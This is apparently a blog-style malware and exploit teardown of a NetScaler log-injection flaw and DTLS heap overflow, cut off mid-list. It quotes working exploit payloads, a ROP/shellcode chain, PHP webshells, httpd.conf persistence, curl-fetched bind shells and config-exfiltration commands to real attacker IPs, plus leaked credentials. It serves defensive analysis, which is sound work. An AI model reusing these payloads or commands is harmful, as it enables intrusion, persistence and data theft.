.text ; disassembly of netscaler-pitboss-log.md

Pitboss Never Sleeps: Reverse Engineering the NetScaler Log-to-Root Chain (CVE-2026-88771 / CVE-2026-88772)

On September 26, 2026, watchTowr publicly stated that reports of a new NetScaler zero-day were credible. Citrix shipped a patch and a bulletin the next day. By September 29 there was a public proof of concept, live exploitation attempts within minutes of its release, and mass scanning of the roughly 50,000 internet-exposed appliances. Mandiant described “dozens of impacted organizations” and attributed the intrusions to “advanced and suspected state-sponsored threat actors.”

I wanted to understand this one at the level I usually reserve for ransomware binaries: not the bulletins, the actual code. What does it mean for a log line to become a root shell? Why did the same SUID shell keep showing up in the wild and inside the public PoC? And what is actually living on these appliances once the initial access is forgotten?

This post is a full teardown of both zero-days and everything that followed them. The sources are public: vendor research, the public PoCs, and the vulnerable script itself, which a researcher carved out of three NetScaler firmware builds (including the patched one) so the rest of us can read the diff. And the actual payloads: 18 samples matching the GTI IOC collection and the vendor-published hashes, each one verified against its published sha256 value before analysis. Where the first reporting wave had to paraphrase these files, this teardown quotes them. Everything was worked through offline; nothing was executed. The artifact manifest and full IOC set are in the appendices.

The Campaign in One Picture

Two independent pre-auth entry points converged on the same post-exploitation toolkit. CVE-2026-88771 is the exotic one: command injection where the injection vector is a log file, executed later by the appliance’s own maintenance tooling. CVE-2026-88772 is a memory-corruption RCE in the DTLS handshake path. Both run as root, because on a NetScaler nearly everything does.

flowchart TD
  A["Attacker, pre-auth"] --> B["CVE-2026-88771<br/>log poisoning via any logged field"]
  A --> C["CVE-2026-88772<br/>DTLS heap overflow, UDP"]
  B --> D["ns_monuploadd_err.pl<br/>greps poisoned ns.log,<br/>interpolates into shell, runs as root"]
  C --> E["NSPPE crash + ROP<br/>shellcode as root"]
  D --> F["chmod 6555 /bin/sh<br/>config exfil to web-served paths"]
  E --> F
  F --> G["PHP webshells behind fake CSS URLs<br/>.ctxs.receiver · .sig · .deb · .local_journal"]
  G --> H["Tunnelers and C2<br/>WHIPSHOT + SLAPSHOT · Platypus · trojanized customsnmpd"]
  H --> I["Rogue superuser sec_monitor<br/>internal recon · credential theft"]

Fig 1: both entry paths end in the same persistence toolkit. Note that the SUID shell appears on both branches.

A timeline, assembled from vendor telemetry (all 2026):

DateEvent
Aug 21Earliest fingerprinting observed by Unit 42 (/admin_ui/common/css/ns/ui.css, /vpn/js/rdx/core/lang/rdx_en.json.gz)
Sep 3Earliest known CVE-2026-88772 exploitation (Mandiant, via CyberScoop)
Sep 4-24.deb-disguised webshells dropped via the DTLS chain (Unit 42)
Sep 20Earliest CVE-2026-88771 injection attempts seen by Rapid7 (two attempts, 14:28 UTC)
Sep 26watchTowr states the zero-day reports are credible, pre-CVE
Sep 27Citrix bulletin CTX697096 with fixes for eight CVEs; CISA KEV listing; ~50,277 exposed instances (Xpanse)
Sep 28watchTowr root-cause analysis; Rapid7, Corelight, CERT-EU publications
Sep 29Public PoC; exploitation attempts within minutes; Sygnia observes a new unexpectedly died variant
Sep 30Unit 42 and Sygnia advisories; Mandiant attribution statement; .ctxs.receiver first submitted to VT (detected by 1 of 94 engines)
Oct 1TENEX publishes the “under 72 hours” recap and staging-host intel
Oct 2First VT submissions of a self-branded “SLAPSHOT/WHIPSHOT-analog” kit exfiltrating to a fresh host; twenty deployments follow within 18 hours across three code generations

The “72 hours” framing (TENEX) counts from the September 26 warning to the September 29 mass exploitation. The targeted zero-day window was actually three to four weeks longer.

Know Your Target: Pitboss, NSPPE, and a Perl Script That Trusts Its Logs

A NetScaler ADC is a FreeBSD appliance whose personality lives in a few monolithic components. nsppe, the NetScaler Packet Processing Engine, is a userspace process that handles the actual traffic: TLS, DTLS, load balancing, the AAA/Gateway flows. pitboss is the process supervisor; when NSPPE dies, pitboss is the daemon that logs the death and decides whether to restart it. Those lifecycle messages (“missed too many heartbeats”, “unexpectedly died”) end up in /var/log/ns.log alongside everything else.

Somewhere in the appliance’s maintenance tooling there is a Perl script, /netscaler/ns_monuploadd_err.pl, whose job is to look through the logs for evidence that NSPPE crashed and find the matching core dump. It is invoked with mode flags like -WR (warm restart) at daemon start and on a periodic cycle, and it reads:

my @WR_FILES = ("$OFF_DIR/var/log/ns.log.0", "$OFF_DIR/var/log/ns.log", "$OFF_DIR/var/log/messages");

Keep that list in mind. It is the ingredient list for everything that follows.

CVE-2026-88771: The Root Cause, Line by Line

Here is the vulnerable code, verbatim from firmware build 66.59 (identical in 72.61), lines 368-370:

my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;

and then, a few lines later, the result is interpolated unquoted into a second shell command:

my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

The intent is innocuous: pull the last pitboss death message out of the logs, massage it into something resembling a core-file name (NSPPE-00-12345 style), and search /var/core for it. The reality is that $WR_PPE_COREFILE_NAME is a string the network can write.

The Anatomy of the Injection Grammar

Watch what the pipeline does to an attacker-supplied log line. Take watchTowr’s canonical payload, delivered as a username:

pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X
  1. grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" matches. The line only needs to contain pitboss, then anything, then PPE (which is satisfied by the substring inside NSPPE itself), then one of the two death phrases. Any logged text matching that shape is a candidate.
  2. tail -1 keeps only the newest matching line. This is why attackers hammered authentication logs: only the last poison line executes, so you want yours to be the newest when the script fires. CERT-EU called this the apparent race condition in the campaign.
  3. sed 's!.*NSPPE!NSPPE!g' greedily deletes everything up to the last occurrence of NSPPE. This is the attacker’s cut point: everything after the final NSPPE survives. That is why the payload places the magic anchor immediately before its command.
  4. The two parenthesis-stripping sed expressions remove ( and ). Payloads therefore avoid parentheses entirely.
  5. awk '{ print $1"-"$2 }' keeps only the first two whitespace-delimited fields, joined by a dash. This is the constraint that defines the whole payload dialect: no literal spaces anywhere in the command, or everything after the first space (plus one surviving token) is discarded. Hence ${IFS} everywhere.
  6. The mangled result is dropped unquoted into find ... -name ${WR_PPE_COREFILE_NAME}* ... inside backticks. The shell splits on the attacker’s ;, and the semicolon-separated commands run as root. The trailing # starts a comment that swallows the leftover -print | tail -1 remnants.

Every quirk of the observed payloads maps to one of those six steps. This is the rare vulnerability where you can read the exploit grammar directly off the sanitizer that was supposed to prevent it.

The Patch, Read as a Confession

The fixed build (73.37) replaces the pipeline with three independent defenses:

my $WR_PPE_COREFILE_NAME = "";
my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
for my $log (@WR_FILES) {
    open my $fh, '<', $log or next;
    while (my $line = <$fh>) {
        $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
    }
    close $fh;
}

The name is now built exclusively from captured groups NSPPE-\d{2} and \((\d+)\), digits only, glued in Perl rather than in shell. Then:

if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
    '(', '-name', $WR_PPE_COREFILE_NAME, '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
{
    while (my $found = <$find>) {
        chomp $found;
        # path should contain only alphanumeric chars and [/-.]
        # it gets used downstream within backticks
        if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
            $WR_PPE_CORE = $found;
        }
    }
    close $find;
}

find is invoked in list form, so no shell ever sees the data, and even the output paths are re-validated against an allowlist because, as the comment admits, the value “gets used downstream within backticks.” The patch is a tidy case study in fixing an injection at three layers at once: constrain the input grammar, remove the shell from the sink, and validate at the boundary. It also quietly confirms the vendor understood exactly which sink mattered.

How the Line Gets Poisoned, and When It Fires

The beautiful, terrible part is the breadth of the write primitive. The script greps ns.log.0, ns.log, and messages for anything matching the pattern. Failed authentications are logged with the submitted username verbatim. So the entire exploit is one unauthenticated POST:

POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded

login=<urlencoded: pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>
&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On

The 401 response is irrelevant; the payload has already done its job by being logged. watchTowr notes that the endpoint is not special: any field that reaches the logs works (failed logins, rate-limit blocks, request parameters, User-Agent headers, even the management interface). CERT-EU found the same bug independently from the opposite direction: European institutions spotted strange base64 User-Agents against LogonPoint pages before anyone knew there was a CVE.

The catch, and the reason this is a slow weapon, is execution timing. The script runs at daemon start and on a periodic cycle; Sygnia and watchTowr put the worst-case pickup delay at up to 24 hours. watchTowr claims an undisclosed technique to force instant pickup and, in what has become their house style, kept it to themselves. An admin can also trigger it manually with /netscaler/ns_monuploadd_err.pl -WR, which is worth remembering when testing detections in a lab.

That delay cuts both ways for defenders: a poisoned line in your logs is not proof of execution, and the absence of an obvious follow-up in the same minute is not proof of safety.

The Three-Stage Protocol the Actors Actually Used

The real operators did not inject one-liner commands and read files out of band. Unit 42, Sygnia, and CERT-EU reconstruct a three-stage protocol that turns the 24-hour delay into an advantage:

  1. Stage the payload in a second log. Send requests whose User-Agent (or URI) carries base64-encoded shell, marked with a searchable prefix such as INDEX: (CERT-EU) or 2N: (Sygnia, Unit 42). These land in /var/log/httpaccess-vpn.log. A 404 response is fine; staging only needs the request to be logged.
  2. Poison ns.log with a trigger line whose injected command greps the HTTP log for the marker, strips the surrounding line noise, and pipes the base64 through b64decode and into sh (or php).
  3. Wait. When the maintenance cycle fires, the trigger retrieves and executes the staged payload, which can be arbitrarily large, something the direct injection grammar cannot do given the no-spaces, no-parens constraints.

CERT-EU’s verbatim example of a stage-two trigger, truncated in their publication:

[..] process_kernel_socket: call to authenticate user :pitboss PPE missed too many heartbeatsNSPPE;grep${IFS}INDEX:${IFS}/va...

Note the missing space in heartbeatsNSPPE;. Vendors observed both spellings; the grep is substring-based and tolerant, but your detections should account for both (more on that below).

The Public PoCs, Reverse Engineered

watchTowr’s CVE-2026-88771 PoC

sha256 c206c6da679260a0bb5d325ceb55984fed16a9016e8346cbe8344f59e3f76669

Fifty-seven lines, and the whole exploit is one of them:

login_payload = f"pitboss PPE unexpectedly died NSPPE;{args.command};# X" ; #Pat & Mat
encoded_login = urllib.parse.quote(login_payload, safe='') ;
url = args.target.rstrip('/') + "/nf/auth/doAuthentication.do"

It URL-encodes the login with safe='' (every byte encoded, which matters because + and & would otherwise corrupt the form field), POSTs it, and exits with a message that deserves to be quoted in every summary of this event: “command sent, wait for it to get picked up (might take up to 24 hours).”

The script calls itself a “Detection Artifact Generator”: it writes a marker file rather than returning command output, because the primitive gives you no response channel. You prove execution by finding the file (or your OOB callback) later.

craigsblackie’s Trigger Variant

sha256 abc8ad6c89c97d03cf00e24e0487585ffb7da049f68e2195ef4c4b87224d18cb

An independent PoC (published September 28) that demonstrates two things watchTowr’s does not. First, a second injection surface: the Nitro management API, POST /nitro/v1/config/login, with the poison string in a JSON username field. Second, its docstring is the clearest public statement of the sink-safe payload rules, worth internalizing if you write detections or purple-team this bug:

the vulnerable parser strips ’(’ and ’)’ and keeps only the first whitespace-delimited field, so the injected command must contain NO ’(’ ’)’ and NO literal spaces. Use ${IFS} for spaces; use path-only URLs (no ’?’ or ’&’).

Its default payload is an OOB callback (/usr/bin/curl${IFS}-sk${IFS}<callback>/<token>), which is the right shape for authorized detection testing: a hit on your listener is unauthenticated root code execution, proven.

The same researcher’s repository also carries the firmware evidence used for the diff above: ns_monuploadd_err.pl extracted from builds 66.59, 72.61 (identical, vulnerable) and 73.37 (patched), plus decompiled NSPPE and GUI analysis. Vulnerable script sha256 fb7f574a4c185fa8e520c47280939ce22899243a0083ee7120b7300c43baca29, patched 02b24a9923a6cee1fbee48137b7f81b7e0f5169246728b7368fc3a066c43a708.

A Word of Warning: the PoC Scam Ecosystem

Within 48 hours of disclosure, GitHub also hosted README-only repositories named after both CVEs whose “exploit download” links are tinyurl redirects to satoshidisk.com crypto-paywall pages (observed: payment IDs CSVA0E and CSV9kk), plus at least one SEO-spam repo funneling to a content farm. This is now a standard CVE monetization pattern: when you are triaging “public PoC exists” claims for your org’s risk decisions, verify the repo has code, check the author, and never run a downloader. The real, working PoCs are the two above.

CVE-2026-88772: The Other Door

If 88771 is a logic bug with a painter’s palette of constraints, 88772 is the opposite: a pre-auth memory corruption in NSPPE’s DTLS handshake parsing, reachable over UDP wherever DTLS is enabled (which is the default configuration on Gateway VPN virtual servers per Sygnia). GTIG’s forensic picture: during the pre-authentication cryptographic handshake, specially malformed and fragmented DTLS record structures induce heap boundary corruption that diverts control flow to attacker shellcode, running as root on FreeBSD. The artifacts it leaves are the pitboss lifecycle messages I opened this post with:

0-PPE-0 : default SSLLOG SSL_HANDSHAKE_FAILURE 0 : ... ClientVersion DTLSv1.0 -
CipherSuite "TLS1-AES-256-CBC-SHA" - Session New -
Reason "Handshake failure-Internal Error"
qat0: Process <PID> NSPPE-<##> exit with orphan rings 5:500
pitboss[<##>]: pitboss <DATETIME> NOT restarting NSPPE-<##> (<PID>)

There is a public PoC for this one too, and it is a genuinely instructive piece of exploitation engineering. watchTowr’s watchTowr-vs-Citrix-Netscaler-CVE-2026-88772.py (sha256 c0f4545bc91e3d9a243fe7d131162761906b0ddd0d004965187bec6f66b0bc45, pwntools) implements the full chain. Here is my teardown of it.

Step 1: A Fragmentation-Confusion Write Primitive

The exploit sends 120 UDP datagrams, each one DTLS record (0x16, version fe ff, DTLS 1.0) whose body is 1459 bytes. Inside each body there are two handshake headers back to back:

  • A primary fragment header declaring message sequence 2, a 120-byte total length, fragment offset equal to the record index, and a fragment length of exactly 1 byte.
  • A hidden second header declaring message sequence 3 with a large total and fragment length, followed by 0xff filler and the bytes the attacker actually wants in memory.

The logic bug this abuses: the reassembly bookkeeping trusts the declared logical sizes (allocate and account for 120 bytes across the message), while the copy path moves the physical record body. Each record therefore contributes roughly 1.3 KB of attacker-controlled bytes far beyond what its allocation accounts for, and the nested second header re-targets where the surplus lands. The script models the result as one contiguous “scratch” region (its constants span 0x355BBC0 through 0x357F820) and provides a scratch_location() function that maps every desired destination byte to a record index and body offset. Heap grooming with byte granularity, over UDP, pre-auth.

Worth pausing on: all addresses in the exploit are absolute constants. Gadgets, setcontext, mprotect, the scratch base. The NSPPE target mapping does not move between appliances, which is why a single hardcoded offset table works across the fleet. Edge appliances are a defender’s blind spot and an exploit developer’s stable target.

Step 2: Timer Lists to Code Execution

The scratch bytes are spent on two structures. First, the tail pointers of two NSPPE timer lists (0x356E870, 0x356DAF8) are redirected to link a fake node at 0x355C800. When timer processing later walks the list, it dispatches through the fake node’s method table:

  • entry at method table +0xD0: a JOP-style gadget at 0x151E638 that funnels the node pointer from rsi into rdi,
  • entry at +0x18: setcontext at 0x1FE7570, now receiving the fake node as its ucontext argument.

Step 3: setcontext, ROP, Shellcode

The fake node begins with a forged FreeBSD ucontext (816 bytes) whose rip points at a pop rdi; ret gadget and whose rsp points at a ROP stack at 0x355E000. The chain is short and honest:

pop rdi ; ret        -> rdi = 0x355E000        (the page itself)
pop rsi ; ret        -> rsi = 0x1000           (one page)
pop rdx ; ret        -> rdx = 7                (RWX)
mprotect                                      (page is now executable)
                       -> return into shellcode at 0x355E100

The shellcode (assembled with pwntools shellcraft for freebsd/amd64) does four things:

  1. open / write / close a file with attacker-chosen path and content (defaults: /tmp/file.txt, content). This is the “detection artifact” the tool is named for.
  2. chmod("/bin/sh", 0o6555). Syscall 15, mode 0xd6d: setuid plus setgid root. The same SUID-shell persistence that GTIG, Unit 42, Sygnia, and TENEX all observed in real intrusions, arriving from the “safe” public PoC.
  3. ud2: deliberate illegal instruction, terminating NSPPE cleanly from the attacker’s perspective.
  4. The driver script then loops, re-associating its DTLS session up to 30 times at 2-second intervals while NSPPE restarts, which produces the pitboss crash-log artifacts cited above.

Points 2 through 4 matter for triage philosophy: even a “benign” PoC run against your appliance leaves a SUID root shell behind, and even a failed exploitation attempt crashes NSPPE and leaves pitboss log evidence. Treat unexpected NSPPE restarts in the disclosure window as compromise indicators, not as appliance flakiness.

The Payload Landscape

Initial access is the least interesting part of this campaign. What follows is a full stack of appliance-native persistence, and it deserves its own reverse engineering treatment. Most of these samples sat behind login walls while the campaign was breaking. Eighteen of them are now on my disk, each verified against its published sha256 value, and the analysis below quotes the payloads themselves. Two families never surfaced as samples at all (Unit 42’s nsg64.deb and the GTI WHIPSHOT/SLAPSHOT pair; the hashes are published, the files are not), and where that matters I lean on the published YARA and protocol descriptions instead.

The signature webshell of the 88771 chain is tiny, hidden, and namespace-camouflaged. The retrieved sample is 237 bytes, one statement with cache-busting headers bolted on, first submitted to VT on September 30 and detected that day by exactly one engine out of 94:

<?php header("Cache-Control: no-store, no-cache, must-revalidate");header("Pragma: no-cache");header("Expires: 0");
if($_COOKIE["CsrfToken"]==="e826d7ddf3c85920"&&!empty($_COOKIE["NSC_TASS"]))passthru(urldecode($_COOKIE["NSC_TASS"])); ?>

Three design choices worth calling out. The gate is a hardcoded CsrfToken value, so requests look like ordinary CSRF-protected portal traffic. The command channel is a cookie named NSC_TASS, deliberately inside the legitimate NSC_* cookie namespace that NetScaler gateways emit constantly; it will not stand out in HTTP logs the way a random parameter would. And passthru(urldecode(...)) gives the operator URL-encoded transport for free. The file itself is hidden (dot-prefixed) inside /var/netscaler/logon/LogonPoint/custom/, a directory that ships with legitimate customization files, and Rapid7’s observed sample hashes to ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1.

Unit 42’s Figure 1 publishes the staging payload that installs it. The base64 blob decodes to a shell script that:

chmod 6555 /bin/sh
mkdir -p /var/netscaler/logon/LogonPoint/custom
# heredoc: write .ctxs.receiver (the PHP above) into the custom dir
# patch /etc/httpd.conf: alias /logon/LogonPoint/custom/receiver.min.css
#   to the webshell, ensure php_flag engine on
kill -HUP `cat /var/run/httpd.pid`      # reload Apache

That alias line is the persistence trick this campaign will be remembered for: the webshell is reachable at a URL that looks like a stylesheet request. A GET /logon/LogonPoint/custom/receiver.min.css with the right cookies is a root command execution, and in most logging pipelines it is indistinguishable from portal theming traffic. Sygnia observed a double-dot staging variant (receiver.min..css), and TENEX documented a sibling shell (.local_journal, password checked as a SHA-256 hash, with file up/download) aliased behind LogonUISimple.html.style.min.css. Hunt for the pattern, not the exact string.

The retrieved e6ee7c85.sig (929 bytes, VT first seen September 27 at 20:27 UTC, the evening of patch day) adds a twist the blog posts compressed into a paragraph: the shell is dual-mode, and its second mode is the installer. Served over HTTP (REQUEST_METHOD set) it is the 404-plus-eval C2 stub. Invoked from the command line during staging (php /var/netscaler/gui/vpn/scripts/linux/e6ee7c85.sig), it runs the else-branch and does four things in sequence:

$newBlock = "php_flag engine on\n\tAliasMatch ^/vpn/media/(.+)\.ico$ /var/netscaler/gui/vpn/scripts/linux/$1.sig\n\tAddHandler application/x-httpd-php .sig\n";
$newContent = str_replace('php_flag engine off', $newBlock, $content);
...
system('chmod u+s /bin/sh');
...
$newContent = preg_replace('#^.*/vpn/scripts/linux.*\n#m', '', $content);   // scrub /etc/crontab
...
system("/netscaler/nsshutdown -R");                                        // reboot the appliance

One file is dropper, config tamper, anti-forensics, and reboot. The crontab scrub deletes any cron line referencing /vpn/scripts/linux, erasing traces of earlier staging. And the reboot is not vandalism; it is activation: a restart re-fires ns_monuploadd_err.pl at daemon start (fresh poison opportunities), brings up the patched Apache config, and activates any config-file persistence written in the same window.

The httpd.conf Persistence Family

The Apache config is used as a general-purpose persistence mechanism, in at least four dialects across the reporting:

AddHandler application/x-httpd-php .deb

(webshells staged in /netscaler/gui/vpn/scripts/linux as nsginstaller*.deb / nsgclient*.deb)

php_flag engine on#
AliasMatch ^/vpn/media/(.+).ico$ /var/netscaler/gui/vpn/scripts/linux/$1.sig
AddHandler application/x-httpd-php .sig

(requests to /vpn/media/e6ee7c85.ico execute the e6ee7c85.sig webshell; GTIG)

<Files ".ctxs.receiver">

(per-file enablement for the hidden shell; Unit 42)

Plus AddHandler ... .css / .ico variants (Sygnia). The common idea: NetScaler ships Apache with the PHP engine off in the relevant contexts, so the attacker turns it on for exactly the file they just dropped, behind an extension or URL that never looks executable. GTIG also documents the reload mechanism (/bin/httpd -k restart -f /etc/httpd.conf, or kill -HUP on the pid file) and, importantly for HA pairs, warns that httpd.conf changes sync to the standby node: isolate the peer before cleaning, or persistence replicates itself back.

The e6ee7c85.sig shell takes commands from the HTTP_NSC_CLIENTTYPE header (base64, shell_exec/eval), and the .deb installer shells use HTTP_NSC_LDAP. Again the theme: C2 inside headers and cookies a NetScaler already emits.

nsg64.deb: RC4 and a Passphrase

The DTLS-chain webshell Unit 42 analyzed (nsg64.deb, sha256 ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec) is a more developed tool than the cookie shells: PHP with an RC4-encrypted C2 channel. The RC4 key is 7489a0f93c67fa5cdaeb4b921d90594d, which is the MD5 of the ASCII passphrase Rhfajaf1H992. That is a recoverable-at-scale indicator: any copy of the shell yields the same key material, and the passphrase itself may correlate with other operator artifacts if it surfaces elsewhere. Commands are pulled from HTTP headers, cookies, or GET/POST parameters (HTTP_xxx server variables): cmd, size (via wc -c), dl (chunked, 1 MB cap), up, and info (returns php=<ver>\nns=4). Privilege escalation uses the legitimate SUID binary /var/netscaler/.ns_suidcmd.

Unit 42’s nsg64.deb itself never surfaced as a sample, but a sibling from the same family did: nsgtrust.deb, a 999-byte PHP file first seen on VT September 29. It is the same dual-mode pattern as e6ee7c85.sig with a different persistence dialect: in installer mode it rewrites the httpd.conf line AddType image/x-icon .ico into AddType image/x-icon .ico\nAddHandler application/x-httpd-php .deb, flips php_flag engine on, SUIDs the shell, scrubs the crontab, and reboots. In web mode it is the same HTTP_NSC_CLIENTTYPE 404-eval stub. The operators were shipping installers as generated variants from a template, not hand-editing each deployment.

update_c08937.pl: The Second Stage, Secrets in the Clear

The Perl stage TENEX described from telemetry is on disk now (10,073 bytes, first seen September 29), and it is more interesting than the summary, because the author left every credential in plaintext at the top of the file:

my $user   = 'sec_monitor';
my $pass   = 'ay#39&RGYvv4Xuzy';
my $ws_pass = 'QI@UEG5PC7oRt31E';

Executed via curl | perl so it never touches disk on the way in, it runs six steps. First, the rogue account: an inline PBKDF2-HMAC-SHA256 implementation (2,500 iterations, random 32-byte salt) produces a NetScaler-format hash '5' . hex(salt) . hex(hash), and the script rewrites /flash/nsconfig/ns.conf idempotently, stripping any prior sec_monitor lines and appending:

add system user sec_monitor <hash> -encrypted
bind system user sec_monitor superuser 100

It announces that a reboot is needed to activate. Second, exfiltration: it tars /flash/nsconfig to /tmp/update_result_3567cs.tgz and POSTs it as application/octet-stream to http://64.94.85.67:443/update_result_3567cs.tgz with a curl-or-wget fallback, then deletes the archive. Third, chmod 06555 /bin/sh. Fourth, the .local_journal webshell: the PHP arrives as a base64 heredoc with a placeholder password hash e4d909c290d0fb1ca068ffaddf22cbd0 baked into the template, which the stage replaces at deploy time with sha256('QI@UEG5PC7oRt31E'). Decoded, it is a small polished panel: a dark-themed session login (POST k, compared as SHA-256), command execution (POST cmd, shell_exec with stderr redirect), arbitrary file download (GET dl=), and upload to any path (FILES f + POST p). Fifth, the Apache patch, inserted directly above the legitimate Alias /logon/ directive so it survives config regeneration:

<Files ".local_journal">
    SetHandler application/x-httpd-php
    ...
Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css "/var/netscaler/logon/LogonPoint/.local_journal"
AliasMatch ^/logon/LogonPoint/css/LogonUISimple\.html\.style\.min\.[0-9a-f]+\.css$ "..."

plus php_flag engine on and kill HUP. Sixth, it prints the resulting URL and the webshell password to the operator’s console and deletes itself (unlink $0). Per-deployment password substitution, idempotent re-runs, self-cleanup: this is written like software, not like a one-off script.

nsmon.pl: The Cron Bind Shell No Vendor Named

Among the retrieved samples sits a family none of the vendor writeups describe beyond a hash in Arctic Wolf’s IOC pack: nsmon.pl, a 3,752-byte Perl implant first submitted September 28 (detected by one engine). Its dropper is the /xd7h/x staging script from 62.133.62.80, which sets the config in environment variables before pulling and running it:

NSMON_CB=udp://62.133.62.80:39725 NSMON_SECRET=y7lg7jq57b \
nohup sh -c 'curl -fs -m 15 http://62.133.62.80:80/xd7h/nsmon.pl -o /var/tmp/.nsmon/nsmon.pl || exit 1
perl /var/tmp/.nsmon/nsmon.pl' >/dev/null 2>&1 &

The implant copies itself to /var/tmp/.nsmon/nsmon.pl, persists a cron line into both /etc/crontab and /nsconfig/crontab (the latter survives reboots with the config partition):

*/5 * * * * root perl /var/tmp/.nsmon/nsmon.pl >/dev/null 2>&1

then daemonizes and binds a root shell somewhere in 0.0.0.0:41000-41999 (or a pinned NSMON_PORT). Each accepted connection forks and execs /bin/sh -i with the environment variable PS1='sh-4# ' set, a small detail with real forensic consequence: session transcripts and any terminal logging make the connection look like someone typing at a local root console rather than a network listener. Finally it phones home with a single line describing itself:

<secret> host=<hostname> port=<port> pid=<pid> uid=<uid> os=<os> build=<kernel> ts=<timestamp>

sent over UDP or TCP to the callback (observed: udp://62.133.62.80:39725, secret y7lg7jq57b), or as an HTTP GET to /<secret>/<base64url-detail> when the callback scheme is http(s). Every five minutes, cron re-runs it; a state file makes re-runs no-ops while the shell lives. Detection is unusually easy for this family: outbound UDP to 39725 from an appliance, inbound connections landing in 41000-41999, the cron line, or /var/tmp/.nsmon on disk.

WHIPSHOT and SLAPSHOT: The Tunnels

Mandiant’s novel-tunneler finding resolves to two cooperating components (their published YARA, transcribed verbatim into the appendix artifacts, encodes the same structure):

WHIPSHOT is a PHP tunneling frontend living on the appliance. It accepts its control data as base64 chunks spread across HTTP_X_UX / HTTP_X_UX_[0-9]+ request headers, and forwards TCP to 127.0.0.1:<port>, where the port is read from /tmp/.uxdport (with /tmp/.uxdlock as the coordination lock). Responses return as an HTTP 404 whose body carries the tunneled bytes. A 404 with a multi-kilobyte body and long processing time is thus itself an IOC.

SLAPSHOT is the Python counterpart, the local proxy those headers ultimately reach, launched in a way designed to leave no script on disk:

nohup <python> -c 'import base64;exec(base64.b64decode("<payload>"))' /tmp/.uxdport /tmp/.uxdlock > /dev/null 2>&1 </dev/null &

Its wire protocol is a 4-byte big-endian length followed by JSON, with verbs open, push, pull, exch, close, ping (plus conn in the YARA), parameters sid, host, port, data. Session idle timeout 15 minutes, process idle exit 10 minutes via a UXD_IDLE_EXIT environment variable. The operational payoff for the actor: interactive internal reconnaissance and credential theft (Mandiant’s observation) that transits the appliance’s own HTTPS listener and never creates an outbound connection from a suspicious process.

The Analog Kit: Cloning the Tunnelers from the Blog Post

The GTI WHIPSHOT/SLAPSHOT samples themselves never surfaced, but on October 2, two days after GTIG named those families, VT started receiving something almost as informative: two 25KB deployment bundles (internally tokenized 380d56 and ae7427) that are byte-identical except for their exfil path. Their embedded Python docstrings describe themselves as a “SLAPSHOT-analog” session manager and a “WHIPSHOT-analog” HTTP front, “lab PoC, CVE-2026-88771”. Those family names only exist because GTIG coined them on September 30, so whatever this is, a copycat actor weaponizing the published TTPs, or a red-team kit that escaped the lab, it postdates disclosure.

It is operationally finished regardless of authorship. The bundle installs under /nsconfig/.slap (survives reboots with the config partition) and drops three webshells into the LogonPoint custom directory: .slap.receiver, .ctxs.receiver, and receiver.deb, all copies of one PHP file gated on a hardcoded cookie pair (CsrfToken must equal the per-deployment token 072874c28950cf7befd319d17e9709e7, the command rides in CsrfToken2). The Perl agent implements the same open/push/pull/exch/close/ping grammar over /tmp/.uxdport that GTIG published; the Python pair (session manager on 127.0.0.1:9909, HTTP front on 0.0.0.0:9910, token slap) reimplements the 404-with-payload transport. Persistence is belt-and-braces: lines appended to /nsconfig/rc.netscaler, root crontab entries (agent.pl every minute, boot.sh every five), <Files> handler blocks plus Alias /logon/LogonPoint/custom/receiver.v2.min.css and a hex-suffix AliasMatch pointing at .slap.receiver, chmod 6555 /bin/sh, and a boot.sh that re-checks everything on startup because, as its own comment notes, the appliance rewrites httpd.conf on boot.

Then it steals: tar czf of all of /nsconfig, the ns.conf.0 through .bak history files, every archive in /var/ns_sys_backup/, the modified httpd.conf, and a diagnostics bundle (uname, id, python/php/perl availability, Apache config test output, error log and ns.log tails), each uploaded via curl -T to http://213.209.159.55:443/t/<token>/loot_* before the staging directory is deleted. The diagnostics section even captures a specific slice of httpd.conf around the patch site, which reads like the author debugging failed deployments in the field.

Whatever its provenance, the bundle proves an uncomfortable point: the vendor and GTIG descriptions were complete enough that a competent operator could rebuild the entire toolchain from the writeups alone, five days after disclosure, and point it at fresh infrastructure. Published TTP detail is an API for copycats.

Pivoting the Constants: The Second Wave Is a Campaign, Not a Curiosity

The constants extracted above are not just IOCs; they are search keys. A sweep of the public malware corpus for the extracted passwords, tokens, and callback strings (plus the file relations of every campaign IP and domain) turned the two bundles I started with into twenty, and the picture from “interesting artifact” into “active, hourly deployment campaign”. Everything below was verified against sample hashes; nothing was executed. This sweep later grew into its own follow-up post with the full methodology and the traps it exposed.

Twenty deployments in eighteen hours. Between October 2 at 15:38 UTC and October 3 at 09:43 UTC, twenty distinct analog-kit bundles landed on VT, every one sharing the same cookie gate (072874c28950cf7befd319d17e9709e7) and the same exfil host (213.209.159.55:443), each with its own path token (/t/380d56, /t/906b4f, /t/818f74, /t/a779ab, /t/db6c6c, /t/a718e4, and so on). The bundles come in three code generations, and the diffs read like a changelog written by someone watching real deployments fail:

  • generation one (25,158 bytes, eight deployments, Oct 2 15:38-20:05): the version dissected above;
  • generation two (26,367-26,370 bytes, from 21:20): adds a watchdog process (/var/tmp/.slap-watch.pid) and reworks the setuid rationale;
